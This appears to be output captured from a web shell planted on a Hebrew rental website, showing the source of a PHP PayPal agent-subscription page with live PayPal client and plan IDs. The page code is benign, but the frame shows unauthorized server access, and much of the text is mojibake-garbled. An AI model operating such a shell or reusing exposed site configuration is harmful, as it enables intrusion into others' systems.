?

แEำ๊คฮ๏Lwebshll2019

Current Path : /home/webyoo/www/leumi/site/
Upload File :
Current File : /home/webyoo/www/leumi/site/agent-subscribe.php

<?php
include "start.php";
include "verif_session.php";

// =====================================================================
//  โš™๏ธ CONFIG PAYPAL โ€” ร€ REMPLIR (voir instructions envoyรฉes sรฉparรฉment)
//  1) CLIENT_ID : PayPal Business > Developer > Apps & Credentials (Live)
//  2) PLAN_ID   : le plan d'abonnement mensuel 99โ‚ช que tu crรฉes dans PayPal
// =====================================================================
$PAYPAL_CLIENT_ID = 'BAAzaApYYAx5QNj4Kb_HeB3gZARKntyYL97XCpDvnb66rF7-2obBll2pBfeuS8HhtEIn4cUt03qskR-4f8'; // LIVE
$PAYPAL_PLAN_ID   = 'P-9XC28056D8756602JNJTJMDQ'; // LIVE โ€” plan test 1โ‚ช (remplacer par le plan 99โ‚ช aprรจs validation)

$userId = (int)$_SESSION['user']['id'];
$me = mysqli_fetch_assoc(mysqli_query($link, "SELECT fk_type, sub_status, agent_slug, sub_payer_id FROM rent_users WHERE id = ".$userId));
$isAgent = ($me && intval($me['fk_type']) === 3);
$active  = ($isAgent && isset($me['sub_status']) && $me['sub_status'] === 'active');
$isPaid  = ($active && !empty($me['sub_payer_id'])); // abonnรฉ payant (โ‰  essai gratuit) : lui seul voit "dรฉjร  actif"
$slug    = ($me && isset($me['agent_slug'])) ? $me['agent_slug'] : '';
?>
<!doctype html>
<html lang="he">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>ืžื ื•ื™ ืžืชื•ื•ืš - ืืฉื›ืจื”</title>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="vendors/fontawesome-pro-5/css/all.css">
    <link rel="stylesheet" href="css/themes.css">
    <link rel="icon" href="images/favicon.ico">
  </head>
  <body>
    <?php include "header.php"; ?>
    <div class="container py-9" dir="rtl" style="text-align:right; min-height:55vh">
      <div class="row justify-content-center">
        <div class="col-lg-7 col-md-9">

          <?php if (!$isAgent): ?>
            <div class="alert alert-warning text-center">ืขืžื•ื“ ื–ื” ืžื™ื•ืขื“ ืœืžืชื•ื•ื›ื™ื ื‘ืœื‘ื“.</div>
            <div class="text-center"><a href="dashboard-home.php" class="btn btn-primary">ื—ื–ืจื” ืœืื–ื•ืจ ื”ืื™ืฉื™</a></div>

          <?php elseif ($isPaid): ?>
            <div class="card border-0 shadow-sm p-6 text-center">
              <i class="fas fa-check-circle text-success" style="font-size:56px"></i>
              <h2 class="mt-3 text-heading">ื”ืžื ื•ื™ ืฉืœืš ื›ื‘ืจ ืคืขื™ืœ ๐ŸŽ‰</h2>
              <p class="text-muted">ืขืžื•ื“ ื”ืžืชื•ื•ืš ืฉืœืš ื–ืžื™ืŸ ื•ื”ื ื›ืกื™ื ืฉืœืš ืžืกื•ืžื ื™ื ื›ืžืชื•ื•ืš.</p>
              <div class="mt-2">
                <a href="agent.php?a=<?= htmlspecialchars(urlencode($slug), ENT_QUOTES) ?>" target="_blank" class="btn btn-info ml-2"><i class="fas fa-external-link-alt ml-1"></i> ืฆืคื” ื‘ืขืžื•ื“ ืฉืœื™</a>
                <a href="dashboard-home.php" class="btn btn-outline-secondary">ืœืื–ื•ืจ ื”ืื™ืฉื™</a>
              </div>
            </div>

          <?php else: ?>
            <div class="card border-0 shadow-sm p-6">
              <div class="text-center mb-4">
                <span class="badge badge-primary mb-2" style="font-size:14px">ืžื ื•ื™ ืžืชื•ื•ืš</span>
                <h2 class="text-heading mb-1">99&#8362; <span class="fs-16 text-muted font-weight-normal">/ ืœื—ื•ื“ืฉ</span></h2>
                <p class="text-muted mb-0">ื—ื™ื•ื‘ ื—ื•ื“ืฉื™ ืžืชื—ื“ืฉ ยท ื ื™ืชืŸ ืœื‘ื™ื˜ื•ืœ ื‘ื›ืœ ืขืช</p>
              </div>
              <ul class="list-unstyled mb-4" style="line-height:2.1">
                <li><i class="fas fa-check text-success ml-2"></i> ืขืžื•ื“ ืžืชื•ื•ืš ืฆื™ื‘ื•ืจื™ ืžืขื•ืฆื‘ ื‘ืฆื‘ืขื™ ื”ืžืฉืจื“ ืฉืœืš</li>
                <li><i class="fas fa-check text-success ml-2"></i> ืชื’ื™ืช ื•ืœื•ื’ื• "ืžืชื•ื•ืš" ืขืœ ื›ืœ ื”ื ื›ืกื™ื ืฉืœืš</li>
                <li><i class="fas fa-check text-success ml-2"></i> ืงื™ื“ื•ื ื”ืžืฉืจื“ ื•ืจื™ื›ื•ื– ื›ืœ ื”ื ื›ืกื™ื ื‘ืขืžื•ื“ ืื—ื“</li>
              </ul>

              <div id="paypal-button-container"></div>
              <p id="sub-msg" class="text-center mt-3 mb-0" style="font-weight:600"></p>

              <p class="text-center text-muted mt-3 mb-0" style="font-size:12px">
                <i class="fas fa-lock ml-1"></i> ื”ืชืฉืœื•ื ืžืื•ื‘ื˜ื— ื“ืจืš PayPal
              </p>
            </div>

            <!-- SDK PayPal en mode abonnement (subscription) -->
            <script src="https://www.paypal.com/sdk/js?client-id=<?= htmlspecialchars($PAYPAL_CLIENT_ID, ENT_QUOTES) ?>&vault=true&intent=subscription&currency=ILS"></script>
            <script>
              paypal.Buttons({
                style: { shape: 'pill', color: 'gold', layout: 'vertical', label: 'subscribe' },
                createSubscription: function (data, actions) {
                  return actions.subscription.create({ plan_id: '<?= htmlspecialchars($PAYPAL_PLAN_ID, ENT_QUOTES) ?>' });
                },
                onApprove: function (data) {
                  var msg = document.getElementById('sub-msg');
                  msg.style.color = '#0a7d8a';
                  msg.innerHTML = '<i class="fas fa-spinner fa-spin ml-1"></i> ืžืคืขื™ืœ ืืช ื”ืžื ื•ื™...';
                  fetch('agent-activate-sub.php', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                    body: 'subscriptionID=' + encodeURIComponent(data.subscriptionID)
                  }).then(function (r) { return r.text(); }).then(function (resp) {
                    resp = (resp || '').trim();
                    if (resp === 'ok') {
                      msg.style.color = '#28a745';
                      msg.innerHTML = '<i class="fas fa-check-circle ml-1"></i> ื”ืžื ื•ื™ ื”ื•ืคืขืœ! ืžืขื‘ื™ืจ ืื•ืชืš...';
                      setTimeout(function () { window.location.href = 'dashboard-home.php'; }, 1600);
                    } else {
                      msg.style.color = '#dc3545';
                      msg.innerHTML = resp || 'ืฉื’ื™ืื” ื‘ื”ืคืขืœืช ื”ืžื ื•ื™';
                    }
                  }).catch(function () {
                    msg.style.color = '#dc3545';
                    msg.innerHTML = 'ืฉื’ื™ืืช ืจืฉืช, ื ืกื” ืฉื•ื‘';
                  });
                },
                onError: function () {
                  var msg = document.getElementById('sub-msg');
                  msg.style.color = '#dc3545';
                  msg.innerHTML = 'ืฉื’ื™ืื” ื‘ืชืฉืœื•ื, ื ืกื” ืฉื•ื‘';
                }
              }).render('#paypal-button-container');
            </script>
          <?php endif; ?>

        </div>
      </div>
    </div>
    <?php include "footer.php"; ?>
  </body>
</html>



web shell, Coded By 2019